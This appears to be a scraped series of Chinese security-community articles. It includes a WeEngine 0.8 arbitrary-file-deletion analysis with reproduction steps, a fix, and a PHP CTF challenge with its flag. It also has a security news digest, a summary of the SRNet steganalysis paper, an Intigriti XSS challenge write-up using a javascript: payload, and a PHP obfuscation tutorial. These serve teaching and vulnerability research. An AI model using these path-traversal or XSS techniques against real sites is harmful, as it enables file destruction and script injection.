> 搜索 **subject** 中匹配 **pattern** 的部分， 如果匹配成功将其替换成 **replacement** 。
## 实例分析
本次实例分析，我们选取的是 **WeEngine0.8** 版本。漏洞入口文件为 **web/source/site/category.ctrl.php**
，我们可以看到下图 **14行** 处调用了 **file_delete**
函数，而这是一个文件删除相关操作，我们可以看一下该函数的具体定义。下图是入口文件代码：
**file_delete** 这一函数可以在 **framework/function/file.func.php**
文件中找到，该方法功能用于检测文件是否存在，如果存在，则删除文件。但是查看上下文发现，程序并没有对文件名 **$file**
变量进行过滤，所以文件名就可以存在类似 **../** 这种字符，这样也就引发任意文件删除漏洞， **file_delete** 函数代码如下：
现在我们在回溯回去，看看 **$file** 变量从何处来。实际上，上图的 **$file** 变量对应的是 **$row['icon']**
的值，也就是说如果我们可以控制 **$row['icon']** 的值，就可以删除任意文件。那么我们来看看 **$row**
变量从何而来。该变量就在我们刚刚分析的第一张图片中( **web/source/site/category.ctrl.php** 文件)，该值为变量
**$navs** 中的元素值，具体代码如下：
我们再往上看，即可找到 **$navs** 变量的取值情况。可以看到 **$navs** 变量的是是重数据库 **site_nav** 表中取出的，包含了
**icon** 和 **id** 两个字段，具体代码如下：
$navs = pdo_fetchall("SELECT icon, id FROM ".tablename('site_nav')." WHERE id IN (SELECT nid FROM ".tablename('site_category')." WHERE id = {$id} OR parentid = '$id')", array(), 'id');
现在我们要做的，就是找找看数据库中的这两个字段是否可以被用户控制。我们继续往前查找，发现了如下代码：
**site_nav** 表中的数据，对应的是 **$nav** 变量。我们继续往上寻找 **$nav** 变量，发现 **$nav['icon']**
变量是从 **$_GPC['iconfile']** 来的，即可被用户控制( 下图 **第21行** )。这里的 **$nav['icon']**
变量，其实就是我们文章开头分析的传入 **file_delete** 函数的参数，具体代码如下：
由于 **$nav['icon']** 变量可被用户控制，程序有没有对其进行消毒处理，直接就传入了 **file_delete**
函数，最终导致了文件删除漏洞。至此，我们分析完了整个漏洞的发生过程，接下看看如何进行攻击。
## 漏洞验证
访问url：[http://xxx.xxx.xxx.xxx/WeEngine/web/index.php?c=account&a=display](http://xxx.xxx.xxx.xxx/WeEngine/web/index.php?c=account&a=display)
，点击管理公众号：
找到分类设置，点击添加文章分类。这里对应的url为：[http://xxx.xxx.xxx.xxx/WeEngine/web/index.php?c=site&a=category，实际上表示](http://xxx.xxx.xxx.xxx/WeEngine/web/index.php?c=site&a=category，实际上表示)
**site** 控制器的 **category** 模块，即对应 **category.ctrl.php** 文件。
选择对应的内容，进入 **if($isnav)** 判断：
在上传图标位置输入要删除文件的路径
我们建立 **delete.txt** 文件，用于测试任意文件删除：
我们点击删除时，就会调用 **file_delete** 函数，同时就会删除掉我们插入到数据库中的图片名：
这个类型任意文件删除有点类似于二次注入，在添加分类时先把要删除的文件名称插入到数据库中，然后点击删除分类时，会从数据库中取出要删除的文件名。
## 修复建议
实例中的漏洞是没有对 `$row['icon']`
参数进行过滤，可以将文件名内容加入目录阶层字符，造成任意文件删除漏洞，所以我们要在传入的参数中过滤"../"等目录阶层字符，避免目录穿越，删除其他文件夹下文件。我们在修复中可以过滤掉
`$row['icon']` 中的目录穿越字符，引入我们自定义的一个函数 `checkstr` 函数。同时 `$row['icon']`
只是文件的名称，并非是一个路径，因此过滤字符并不会影响到实际功能，对此修复意见我们提供如下代码：
## 结语
看完了上述分析，不知道大家是否对 **路径穿越问题** 有了更加深入的理解，文中用到的CMS可以从
[这里](https://pan.baidu.com/s/1dwZgXLBK_7It6qTVkamB_w) 下载（密码:hgjm）
下载，当然文中若有不当之处，还望各位斧正。如果你对我们的项目感兴趣，欢迎发送邮件到 **[email protected]** 联系我们。
**Day6** 的分析文章就到这里，我们最后留了一道CTF题目给大家练手，题目如下：
// index.php
<?php
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>
// flag.php
<?php $flag = "HRCTF{Pr3g_R3plac3_1s_Int3r3sting}";?> | 社区文章 |
# 【知识】11月22日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：向黑客势力低头！Uber被曝出破财消灾、安卓手机关闭定位后依然会被谷歌收集定位数据、区块链网站安全又遭挑战，Tether被黑，大量令牌泄露、2017
OWASP Top10正式发布、Gold SAML——新攻击技术、 Atom之从Markdown到RCE、SGX-Bomb：对抗勒索软件、与Lazarus组织有关联的安卓恶意软件出现。**
**资讯类：**
向黑客势力低头！Uber被曝出破财消灾
<https://www.bloomberg.com/news/articles/2017-11-21/uber-concealed-cyberattack-that-exposed-57-million-people-s-data>
安卓手机关闭定位后依然会被谷歌收集定位数据
<https://thehackernews.com/2017/11/android-location-tracking.html>
区块链网站安全又遭挑战，Tether被黑，大量令牌泄露
<https://thehackernews.com/2017/11/tether-bitcoin-hacked.html>
2017 OWASP Top10正式发布
<http://securityaffairs.co/wordpress/65844/hacking/2017-owasp-top-10-final.html>
**技术类：**
OSINT应用之轮船安全
<https://www.pentestpartners.com/security-blog/osint-from-ship-satcoms/>
Gold SAML——新攻击技术
<https://www.cyberark.com/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-cloud-apps/>
Atom之从Markdown到RCE
<https://statuscode.ch/2017/11/from-markdown-to-rce-in-atom/>
使用Linux和Go取代x86固件
<https://lwn.net/SubscriberLink/738649/81007748bf15c1e5/>
识别Empire Http监听器
<https://www.tenable.com/blog/identifying-empire-http-listeners>
数据泄露的5个阶段
<https://www.troyhunt.com/the-5-stages-of-data-breach-grief/>
OWASP Juice Shop——OWASP测试靶场
<https://github.com/bkimminich/juice-shop>
针对远程桌面协议的RDP安全工具
<https://www.darknet.org.uk/2017/11/rdpy-rdp-security-tool-hacking-remote-desktop-protocol/>
NTFS文件系统漏洞
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1325>
模糊测试的艺术与应用实例
<https://sec-consult.com/en/blog/2017/11/the-art-of-fuzzing-slides-and-demos/index.html>
Wiko手机被曝收集用户数据
<http://www.frandroid.com/marques/wiko/471870_wiko-sts-collecte-donnees-personnelles>
SGX-Bomb：在勒索软件攻击时锁定处理器
<https://sslab.gtisc.gatech.edu/assets/papers/2017/jang:sgx-bomb.pdf>
2017 Flare-On Challenge Writeup
<https://securedorg.github.io/flareon4/>
与Lazarus组织有关联的安卓恶意软件出现
<https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-appears-linked-to-lazarus-cybercrime-group/>
Office 365高级威胁防御与近期Office漏洞利用攻击的对抗
<https://cloudblogs.microsoft.com/microsoftsecure/2017/11/21/office-365-advanced-threat-protection-defense-for-corporate-networks-against-recent-office-exploit-attacks/>
CVE-2017-11853 内核ASLR绕过漏洞
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1362> | 社区文章 |
# 深度残差网络隐写分析模型探究
##### 译文声明
本文是翻译文章，文章原作者 ieee，文章来源：ieeexplore.ieee.org
原文地址：<https://ieeexplore.ieee.org/document/8470101>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文提出了一个深度残差网络隐写分析模型SRNet，它巧妙地将残差网络应用于特征提取的过程中，从而有效防止了梯度消失，并取得了很好的隐写检测效果。
## SRNet
SRNet中R代表“Residual”，它既指隐写分析中的残差特征，也指深度学习中应用快捷连接方式的残差连接层。首先描述SRNet的网络结构，再分别讲解每个组件。
### 网络结构
上图是SRNet的体系结构。第一到第七层的主要功能是从图像中提取隐写噪声的残差信息，第8到第12层负责降低特征图的维数，最后一层是一个带有softmax激活函数的标准全连接层。
总的来说，卷积层皆使用3×3的卷积核，所使用的非线性激活函数都是ReLU。在第1-7层中都没有加入池化的处理，在第8-11层使用了大小为3×3、步长为2的平均池化操作。在第12层中，将512个大小为16×16的特征图缩减为512维特征向量。随后将这512维特征向量作为全连接层的输入进行隐写特征的分类处理。
SRNet包含两种类型的残差连接层，分别为第3-7层的残差连接层Layer type 2、第8-11层的残差连接层Layer type 3。如下图。
第1、2层的网络层Layer type
1如下图所示，卷积核大小为3×3而不是5×5，因为通过实验观察发现3×3的卷积核具有更好的性能。前两层的目的是将特征图从64维缩减为16维，以节省内存。
第4层的网络层Layer type 4如下图所示，和Layer type3相比，它的特点是应用了全局平均池化的方式处理特征图。
### 网络结构组件详解
SRNet的关键部分是由第一到第七层组成的隐写噪声残差提取部分。平均池化可被看作一个低通滤波器，它通过弱化相邻像素的嵌入变化程度来增强内容并抑制隐写噪声，这在典型的计算机视觉领域中有利于根据图像内容进行分类，但不利于隐写分析。在隐写分析中，根据隐写噪声进行分类，此时图像内容属于干扰因素。因此，SRNet直到第8层才开始使用平均池化操作，从而避免降低隐写噪声能量情况的发生。
下面详细讲解各组件。
（1）激活函数。除了ReLU，本文还尝试使用了TanH、ELU和SELU等激活函数，但是它们并没有带来性能的提升。简单起见，网络中的所有激活函数均确定为ReLU。注意，Layer
type 2和Layer type 3中在快捷连接方式后不使用ReLU激活函数，经实验验证，这样做具有更好的隐写性能。
（2）残差快捷连接方式。为了评估SRNet中快捷方式连接的重要性，本文从Layer type 2和Layer type
3的层中删除了它们，并观察了检测精度的变化。例如，对于0.1和0.2 bpp的HILL，分类准确度的损失约为0.5％;对于0.4
bpnzac，品质因数为95的J-UNIWARD，分类准确度的损失约为1.5％。可见残差快捷连接方式能促进梯度传播，提升隐写性能。
（3）未加入池化操作的网络层。通过实验减少未加入池化操作网络层的数量，同时保持架构的其余部分不变，可发现模型的隐写检测准确率逐渐下降。通过多次实验确定在第一到第七个网络层中取消池化操作，模型具有最好的隐写检测性能。
（4）卷积核的数量。第一层卷积核的数量在JPEG域中比在空间域中影响更大。当在第一层中仅使用32或16而不是64个卷积核时，对于0.4
bpp的HILL的隐写检测误差可以忽略不计，但对于品质因子为75、0.1 bpnzac的J-UNIWARD，隐写检测错误率增加了1％。将卷积核的数量增加到64个以上时没有明显的性能提升。
（5）优化器。本文尝试了多种优化器，包括AdaDelta，Adam，Adamax，最终选择了Adamax，因为它使得训练过程中梯度能更快、更可靠地传播和汇聚。
## 实验与分析
### 数据集+参数
实验使用的数据集是 **BOSSbase 1.01** 和 **BOWS2**
，它们各自包含10000张灰度图像，使用Maltab的imresize函数将灰度图像大小调整为256×256以适应现有计算条件。
提取BOSSbase的4000对载体载密图像和BOWS2的10000对载体载密图像用于训练、提取BOSSbase的另外1000对载体载密图像用于验证、余下的5000对载体载密图像用于测试。
实验另外挑选了ImageNet数据集中的1281167张JPEG图像。对每张大于256×256且JPEG质量因子高于75的图像进行如下处理：解压缩图像到空间域（imread），再裁剪左上方大小为256×256的图像块，转换此图像为灰度图（rgb2gray），并使用品质因数75重新压缩灰度图像为JPEG图像。最终在无损可用的图像中，跳转250000对载体载密图像用于训练，挑选10000对载体载密图像用于验证，挑选余下的40000对载体载密图像用于测试。
使用随机梯度下降优化器Adamax；设置批量样本数为16；设置学习率为0.001；使用He初始器和L2正则化方法初始化卷积核。
### 结果分析
**空域隐写分析**
对于空间域，本文测试了在WOW、HILL和S-UNIWARD为0.1-0.5
bpp的隐写分析结果，如下表所示。其中表格数据表示隐写检测错误率，分析可知除了WOW的0.1
bpp之外，SRNet均具有最低的隐写检测错误率。在WOW为0.1时，本文认为SRNet没有明确使用选择通道，而SCA-YeNet通过为WOW使用选择通道而增强了隐写检测性能。
**JPEG域隐写分析**
对于JPEG域，本文测试了在J-UNIWARD和UED-JC为0.1-0.5
bpnzac、质量因子为75和95的隐写分析结果，如下表所示。可知SRNet的隐写检测错误率远远低于现有网络模型，具有绝对的隐写分析的优势。 | 社区文章 |
## 前言
前些日子Intigriti出了一道关于XSS的题目。目前比赛已经结束了，但是仍可以通过下面地址体验一下：
<https://challenge.intigriti.io>
题目很简单，就是下图中的代码，找到xss漏洞即可获胜
## 分析
分析一下这段代码，为了方便测试，我把这个xss挑战代码放到了我本地 _<http://127.0.0.1/xssctf/index.html>_ 地址
首先在第二行处有个一个白名单，如下图红框处
Whitelist中定义了两个域名，'intigriti.com'与'intigriti.io'。这个白名单在下文代码中会用到
接着通过location.hash.substr(1)取出字符串，并生成一个URL对象赋给url变量
window.location.hash获取url中的锚点，简单来说就是url中#号以及#号后的部分
例如访问：<http://127.0.0.1/xssctf/hash.html#hashtest>
hash.html代码如下
控制台输出如下
值得注意的是：锚点中的内容仅供浏览器定位资源，并不会随着请求发送给目标服务器的
注意下图，请求中并不包含锚点#hashtest内容
location.hash.substr(1)实际上是用来获取井号之后的字符串，如上例获取的字符串则是hashtest
接下来看原题
程序在上图第四行红框中检查url中的hostname属性，是否在whitelist中
因此我们如果想让程序进入此处if分支，需要构造#<http://intigriti.io> 类似的锚点值
对应的url应该类似 _<http://127.0.0.1/xssctf/index.html#http://intigriti.io>_
在进入if分支后，程序接着将url.href通过encodeURIComponent编码，并document.write下来，如下图
上图第5行处，由于这里url.href被编码，导致无法利用，所以这里不存在利用点
接着看下面这块
在上图红框处，存在一个setTimeout方法，setTimeout方法用于在指定的毫秒数后调用函数或计算表达式，是一个计时器
当计时结束后，执行上图第7行内容，再次使用location.hash.substr(1)读取锚点值并跳转。
如果此时的锚点值为恶意的xss payload例如javascript:alert(document.domain)，跳转时则会产生xss漏洞
那么如何使得程序在第三行处获的锚点值为白名单中的'intigriti.com'或'intigriti.io'
但在第7行时再次获取时变成恶意的xss payload呢？
其实思路有两种，这就对应了这道题的两个不同解法
1. 计算好时间，设计一个延时引信，等第一处location.hash.substr(1)一执行完就该锚点值
这种思路只需要关心程序从加载到执行完上图红框处需要多少时间
1. 等这个脚本加载完毕，但setTimeout计时器时间未到，还未来得及执行第二处location.hash.substr(1)时修改锚点
这种思路只需要关心程序从执行上图setTimeout计时器使计时器开始运作时，到脚本完全执行结束需要多少时间。后续会介绍为什么需要考虑这个时间
如果想实现以上两种中途修改锚点的操作，可以使用HTML内联框架元素
(`<iframe>`)。它能够将另一个HTML页面嵌入到当前页面中，当把我们的目标页面嵌入我们构造的恶意页面中，我们就可以通过修改src属性来修改锚点的值
## 解题思路
### 解法一
我将本次题目代码放到了<http://127.0.0.1/xssctf/index.html> ，下文里这个地址对应的就是这次题目在我本地的地址
解法一是通过估算出从<http://127.0.0.1/xssctf/index.html>
被加载到第一处location.hash.substr(1)执行时的时间，通过估算这个时间(用X表示)，只要在这个时间之后，最理想的是执行后的一瞬间（因为再晚了第二处location.hash.substr(1)执行可就执行了），
通过
document.getElementById('xss').src把锚点改为#javascript:alert(document.domain)
这样一来，当第二处location.hash.substr(1)执行时，获取的锚点值就会是#javascript:alert(document.domain)
，从而导致xss
但是这个时间并不是很好计算，不能太早，也不能太晚
上图红框处的200，只是一个示例值，实际中不一定是这个数字，具体算起来麻烦且很不稳定
### 解法二
在看第二种解法之前，先介绍一下onload事件
onload 事件会在页面或图像加载完成后立即发生
但从字面意义上，有点难以理解具体onload的执行时机：
例如通过iframe嵌入一个页面，被嵌入的页面中有一个setTimeout计时器，onload是等待计时器计时结束，并执行完计时器内部的代码后再执行呢？还是
等被嵌入的页面逐行执行结束，不需要等待被嵌入页面的计时器计时结束，执行执行。
为了测验onload加载的时机，我做了如下实验
Loadiframe.html 使用iframe来嵌入其他页面，代码如下
Iframe.html 被嵌入的页面，其中有一个setTimeout计时器，计时5秒之后在控制台里打印
”step 4”
实际结果如下：
当Iframe.html中脚本被逐行加载完后，Onload并未等待step 4 打印，直接触发
通过这个例子可以看出，当被加载的页面中存在计时器时，并不影响onload的执行。
只要被加载的页面中脚本被逐行加载完毕，onload就触发。
因此对应的解法如下
程序执行到上图11行处时，index.html开始加载
当index.html中脚本加载到下图第六行时，setTimeout计时器开始计时，在计时结束后执行
location
= location.hash.substr(1);
随后，脚本逐行执行。当index.html中脚本全部被执行完成后，恶意构造的页面中的onload被触发
上图红框处即为onload触发时的代码，此处代码修改锚点值，将其变为恶意的payload
这种解题思路的核心在于，从index.html中setTimeout计时器启动开始，执行index.html中后续的代码的时间，即加载完毕index.html从而可以触发onload事件的时间，与setTimeout计时器设置时间的比较
当setTimeout计时器设置时间比执行完上图红框处代码所需的时间长，则可顺利触发onload将锚点值更改，在计时结束后，计时器中代码获取的锚点值就变成了我们的payload
但是如果setTimeout计时时间很短，index.html后续代码还未加载完，onload还未来的急触发，那利用就会失败
举个例子：
setTimeout设置的是5000，也就是5秒。当setTimeout这行代码被执行，计时开始后，如果index.html中剩下几行可以在5秒内执行完，onload如期执行，5秒后的location.hash.substr(1)就变成了javascript:alert(document.domain)
但是挑战中的setTimeout并没有设置计时时间，采用默认值
默认计时时间是多久呢？我查看了下相关资料
可见如本次题目中这样，并不设置计时时间，留给我们的最少有4ms
实际上，我测了一下在我的环境下，这个时间大概多久。使用如下代码
尽管测试代码不是很精准，但大概有59毫秒
而执行index.php后续的仅剩的几行代码，几乎用不了这么多时间
在0.059秒内，只要后续几行代码被执行，onload顺利触发，锚点被修改，我们就可以结题成功了
## 关于其他解法的一些想法
我发现，有些师傅使用如下思路
想通过超长的锚点值来拖延目标程序运行时间
我们再来看下原题
既然这种解法是通过onload来改变锚点值，那么影响结果的因素如上文分析，只有setTimeout的计时时间和setTimeout计时开始后，执行完后续代码以至onload触发的时间
这里的超长锚点值，并不能影响这两者中的任何一个，因此我私自认为应该是没有用的，欢迎感兴趣的师傅一起讨论。 | 社区文章 |
My Blog: <https://blog.zsxsoft.com/post/42>
最近（被迫）拿到了不少经过混淆的PHP代码样本，尤其是我使用的某个开源软件里面竟然也有被混淆的PHP代码，导致我不得不把它们都解混淆来检查一下。不过，这些只要20分钟就能写出通用解混淆代码的混淆有什么意义呢？
好想出去玩_(:з」∠)_但出不去，只好在家里应XCTF抗疫赛邀请出题了。但是实在没题出怎么办？恰巧看到Xray的一篇吐槽安全从业人员代码平均开发能力差的文章，考虑到解混淆需要一定的开发能力，不如来用混淆水一题吧……
顺带一提，本次比赛中，我观赏了一下各个队伍的去混淆脚本，基本上都是正则表达式+黑魔法的写法，根本看不懂……
## How?
我相信很多人对写一个PHP混淆与去混淆是一头雾水，完全不知道怎么下手的状态，或者除了正则表达式以外就没有思路了。实际上，写混淆器等于写半个编译器。如果你的程序能够正确理解PHP代码中每一个“单词”的意思，那么你的混淆器就基本开发完成一半了。
一个编译器通常分为编译器前端和后端两个部分，编译器前端负责对代码的解析。我们要着眼的也基本就是前端部分。编译过程中的第一步是词法分析，词法分析器读入源程序的字符流，把他们组织成有意义的词素（lexeme）；对于每个词素，词法分析器产生对应的词法单元（token）。如果我们使用PHP来开发的话，这个过程不需要我们来做。PHP有一个函数`token_get_all`，可以直接把PHP代码转换成token数组。
## Token?
基于token数组，我们可以开发一个简单的变量重命名器：
$file = file_get_contents($path);
$variable = 0;
$map = [];
$tokens = token_get_all($file);
foreach ($tokens as $token) {
if ($token[0] === T_VARIABLE) {
if (!isset($map[$token[1]])) {
if (!preg_match('/^\$[a-zA-Z0-9_]+$/', $token[1])) {
$file = str_replace($token[1], '$v' . $variable++, $file);
$map[$token[1]] = $variable;
}
}
}
}
非常简单，可以将所有由不可见字符组成的变量名改成正常人可读的变量名。
[enphp](https://github.com/djunny/enphp/)
即是直接基于该数组开发。由于词法分析器并不负责维护每个token之间的关系，enphp不得不维护相当多的状态，导致其后续的开发和维护较为复杂，我们也不会基于这一串token来开发。
编译的第二步是语法分析，由token序列确定语法结构，通常会输出一棵语法树（syntax
tree）。PHP是一个成熟的语言，也有一个成熟的解析器。[php-parser](https://github.com/nikic/php-parser)
可以帮助我们把PHP代码解析成一棵抽象语法树（AST），我们就将基于它来开发。
既然有了能表示代码结构的树，那我们就知道怎么一个正常的混淆器应当怎么开发了：
1. 把原始代码解析成一棵树。
2. 遍历树，修改树上的某些节点。
3. 将树还原成代码。
## 练手
现在让我们开始吧，php-parser的安装请自行看文档。
我们从最简单的代码变换开始，第一步将
Hello World!
替换成
<?php echo 'Hello World!';
我们先写一个主体结构：
<?php
use PhpParser\Parser;
use PhpParser\ParserFactory;
use PhpParser\NodeTraverser;
use PhpParser\NodeVisitor\NameResolver;
use PhpParser\PrettyPrinter\Standard;
require './vendor/autoload.php';
// 初始化解析器
$parser = (new ParserFactory())->create(ParserFactory::PREFER_PHP7);
// 将代码解析成AST
$ast = $parser->parse(file_get_contents('test/test1.php'));
$traverser = new NodeTraverser();
// 注册一个“游客”跟着一起漫游
$traverser->addVisitor(new HTMLToEcho($parser));
// 开始遍历AST
$ast = $traverser->traverse($ast);
// 将AST转换成代码
$prettyPrinter = new Standard();
$ret = $prettyPrinter->prettyPrint($ast);
echo '<?php ' . $ret;
再写一个游客类：
<?php
use PhpParser\Node;
use PhpParser\NodeVisitorAbstract;
class HTMLToEcho extends NodeVisitorAbstract
{
public function leaveNode(Node $node)
{
// 当当前节点的类型是 InlineHTML
if ($node instanceof Node\Stmt\InlineHTML) {
// 将其替换成 echo 'value';
return new Node\Stmt\Echo_([
new Node\Scalar\String_($node->value)
]);
}
}
}
运行试试，是不是很神奇呢？关于NodeVisitor的使用，请直接阅读文档 [Walking the
AST](https://github.com/nikic/PHP-Parser/blob/master/doc/component/Walking_the_AST.markdown)。
## 开始
现在让我们开始写一个字符串混淆器和解混淆器。
我们现在想要：
var_dump('Hello World');
变成
var_dump(str_rot13('Uryyb Jbeyq'));
只需要在发现一个字符串调用的时候，把它换成函数就好了：
$traverser->addVisitor(new StringToROT13($parser));
// ......
class StringToROT13 extends NodeVisitorAbstract
{
public function leaveNode(Node $node)
{
if ($node instanceof Node\Scalar\String_) {
$name = $node->value;
return new Expr\FuncCall(
new Node\Name("str_rot13"),
[new Node\Arg(new Node\Scalar\String_(str_rot13($name)))]
);
}
}
}
解混淆器，就是一个反向的过程。发现一个函数调用`str_rot13`，且第一个参数为字符串，就把它替换回来：
class ROT13ToString extends NodeVisitorAbstract
{
public function leaveNode(Node $node)
{
if ($node instanceof Node\Expr\FuncCall &&
$node->name instanceof Node\Name &&
$node->name->parts[0] == 'str_rot13' &&
$node->args[0]->value instanceof Node\Scalar\String_
) {
$value = $node->args[0]->value->value;
return new Node\Scalar\String_(str_rot13($value));
}
}
}
毫无难度，对吗 :)
对比上面两边的代码，会发现，解混淆器本质上和混淆器区别极小，在这个例子中毫无区别。两者的模式都是寻找可以替换的特征，之后将其替换成另一种实现。
## 再进一步
虽说混淆器和解混淆器区别极小，但这不代表没有，它们在开发时的侧重点不太一样。实际上，上面的混淆器在很多情况下是无法工作的，例如：
function a ($a = 'abcd') { echo $a; }
把这行代码进行混淆，就有出错的可能。因为这里'abcd'作为函数的默认值，PHP要求它必须在编译时就已知。因此，我们必须给混淆器加上一个判断。下面的代码可以部分规避这个问题。
public function enterNode(Node $node)
{
if ($node instanceof Node\Param || $node instanceof Node\Stmt\Static_) {
$this->_inStatic = true;
}
}
public function leaveNode(Node $node)
{
if ($node instanceof Node\Param || $node instanceof Node\Stmt\Static_) {
$this->_inStatic = false;
}
if ($this->_inStatic) {
return;
}
// original code...
}
混淆器是将代码复杂化，因此它必须考虑相当多的边边角角。而解混淆器作为将代码简单化的工具，不需要考虑这种情况。解混淆器考虑的情况则是另外一种。
让我们写一个稍微高阶一些的混淆和解混淆：
$a = true;
$b = false;
$c = 12345;
$d = 'abcdefg';
写成
$array = [true, false, 12345, 'abcdefg'];
$a = $array[0];
$b = $array[1];
$c = $array[2];
$d = $array[3];
可以发现，这种混淆不再是原先的直接替换节点就能解决的混淆了，它引入了一个外部依赖。我们试着写一个混淆器：
<?php
use PhpParser\Lexer;
use PhpParser\Node;
use PhpParser\Node\Expr;
use PhpParser\NodeVisitorAbstract;
class ConstantToArray extends NodeVisitorAbstract
{
/**
* @var string
*/
private $_variableName = '';
/**
* @var array
*/
private $_constants = [];
private $_parser;
private $_inStatic = false;
public function __construct($_parser)
{
// 生成一个用于存储数据的变量名，比如AAAAA
$this->_variableName = generate_random_variable(5);
$this->_parser = $_parser;
}
public function afterTraverse(array $nodes)
{
$keys = [];
foreach ($this->_constants as $key => $value) {
$keys[] = unserialize($key);
}
$items = base64_encode(serialize($keys));
// 懒得写一大串了。。。
$nodes = array_merge($this->_parser->parse(
"<?php \${$this->_variableName}=unserialize(base64_decode('$items'));"
), $nodes);
return $nodes;
}
public function enterNode(Node $node)
{
// 在每个函数头部插入global $AAAAA
if ($node instanceof Node\Stmt\Function_) {
$global = new Node\Stmt\Global_([new Expr\Variable($this->_variableName)]);
array_unshift($node->stmts, $global);
}
if ($node instanceof Node\Param || $node instanceof Node\Stmt\Static_) {
$this->_inStatic = true;
}
}
public function leaveNode(Node $node)
{
if ($node instanceof Node\Param || $node instanceof Node\Stmt\Static_) {
$this->_inStatic = false;
}
if ($this->_inStatic) {
return;
}
// 处理字符串、数字等类型
if ($node instanceof Node\Scalar
&& (!$node instanceof Node\Scalar\MagicConst)) {
// 使用serialize是为了解决类型问题，PHP是个神奇的弱类型语言
$name = serialize($node->value);
// _constants是个Map，这样做性能会高一些
if (!isset($this->_constants[$name])) {
// 这里最好事先扫描一遍并编制索引以提升随机性
// count仅供测试用，比较好看
$this->_constants[$name] = count($this->_constants);
}
return new Expr\ArrayDimFetch(
new Expr\Variable($this->_variableName),
Node\Scalar\LNumber::fromString($this->_constants[$name])
);
}
// 处理true, false等类型
if ($node instanceof Node\Expr\ConstFetch && $node->name instanceof Node\Name && count($node->name->parts) === 1) {
$name = $node->name->parts[0];
switch (strtolower($name)) {
case 'true':
$name = true;
break;
case 'false':
$name = false;
break;
case 'null':
$name = null;
break;
default:
return;
}
$name = serialize($name);
if (!isset($this->_constants[$name])) {
$this->_constants[$name] = count($this->_constants);
}
return new Expr\ArrayDimFetch(
new Expr\Variable($this->_variableName),
Node\Scalar\LNumber::fromString($this->_constants[$name])
);
}
}
而解混淆又要怎么写呢？
<?php
use PhpParser\Node;
use PhpParser\NodeVisitorAbstract;
class ArrayToConstant extends NodeVisitorAbstract
{
/**
* @var string
*/
private $_variableName = '';
/**
* @var array
*/
private $_constants = [];
public function enterNode(Node $node)
{
if ($node instanceof Node\Expr\Assign &&
$node->expr instanceof Node\Expr\FuncCall &&
$node->expr->name instanceof Node\Name &&
is_string($node->expr->name->parts[0]) &&
$node->expr->name->parts[0] == 'unserialize' &&
count($node->expr->args) === 1 &&
$node->expr->args[0] instanceof Node\Arg &&
$node->expr->args[0]->value instanceof Node\Expr\FuncCall &&
$node->expr->args[0]->value->name instanceof Node\Name &&
is_string($node->expr->args[0]->value->name->parts[0]) &&
$node->expr->args[0]->value->name->parts[0] == 'base64_decode'
) {
$string = $node->expr->args[0]->value->args[0]->value->value;
$array = unserialize(base64_decode($string));
$this->_variableName = $node->var->name;
$this->_constants = $array;
return new Node\Expr\Assign($node->var, Node\Scalar\LNumber::fromString("0"));
}
}
public function leaveNode(Node $node)
{
if ($this->_variableName === '') return;
if (
$node instanceof Node\Expr\ArrayDimFetch &&
$node->var->name === $this->_variableName
) {
$val = $this->_constants[$node->dim->value];
if (is_string($val)) {
return new Node\Scalar\String_($val);
} elseif (is_double($val)) {
return new Node\Scalar\DNumber($val);
} elseif (is_int($val)) {
return new Node\Scalar\LNumber($val);
} else {
return new Node\Expr\ConstFetch(new Node\Name\FullyQualified(json_encode($val)));
}
}
}
}
我们看`enterNode`这里的大if，这里负责寻找`$a =
unserialize(base64_decode("string"))`这种模式的代码，之后获取其表以及变量名。从上面的寻找逻辑，我们可以推测：
1. 如果代码中有别的符合这个模式的代码，解混淆器就可能会出现错误。
2. 如果代码中的数组赋值是别的模式，就必须重写此部份代码以适配该模式。
## 总结
对于混淆器而言，你要做的事情包括这些：
1. 拿到尽可能多的PHP样本，寻找各种可能的语法不兼容问题。
2. 基于信息不对称性，努力将混淆器引入的语句与真实的业务代码混为一体。
3. 尽量打乱原始代码结构，能去除的信息（如变量名）尽可能去除。
而对于一个解混淆器而言，就需要：
1. 准确识别出混淆模式及其依赖的外部信息。
2. 需要能准确地提取出各类运行时才可获取的密钥、数据。
3. 一旦信息无法恢复，就需要通过一定的规则还原出近似的信息。
## 尾声
我本次的混淆比较初级，完全不实用，毕竟连混淆器+解混淆器+写文章也就花了十个小时不到吧，性能低下，且不保证兼容性，仅仅是一个示例，仅供参考。不过我认为这个示例级别的混淆器效果要比绝大多数市面上流通的混淆器效果好得多，那些都是什么垃圾.jpg
一个混淆器要走向实用，你至少也要把控制流给打乱掉，就像 [yakpro-po](https://github.com/pk-fr/yakpro-po)
这样吧。
你可能注意到了，本文中的每一个混淆规则都是一个单独的新类，并没有将不同功能的代码混合在一起；之后通过`NodeVisitor::addVisitor`在遍历的时候让它们按顺序被调用。这是组合模式这种设计模式的应用，这样的模块化设计非常适合进行后续的维护。
对于解混淆而言，大部分混淆都有一部分混淆规则是相同的，这种设计可以非常容易地就能通过不同规则的重新组合来解出一种新的混淆。而对于混淆而言，还有什么比套娃更有意思的事情呢
:D | 社区文章 |
# Chrome 扩展安全研究: 一个UXSS的挖掘经历
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 本篇原创文章参加双倍稿费活动，预估稿费为600元，活动链接请点[此处](https://www.anquanke.com/post/id/98410)
## 引言
有点想把标题换成 <Chrome 安全研究: 一个UXSS的挖掘经历> 来骗一波点击。但毕竟其实是扩展的问题，还是老实点写“扩展”吧。
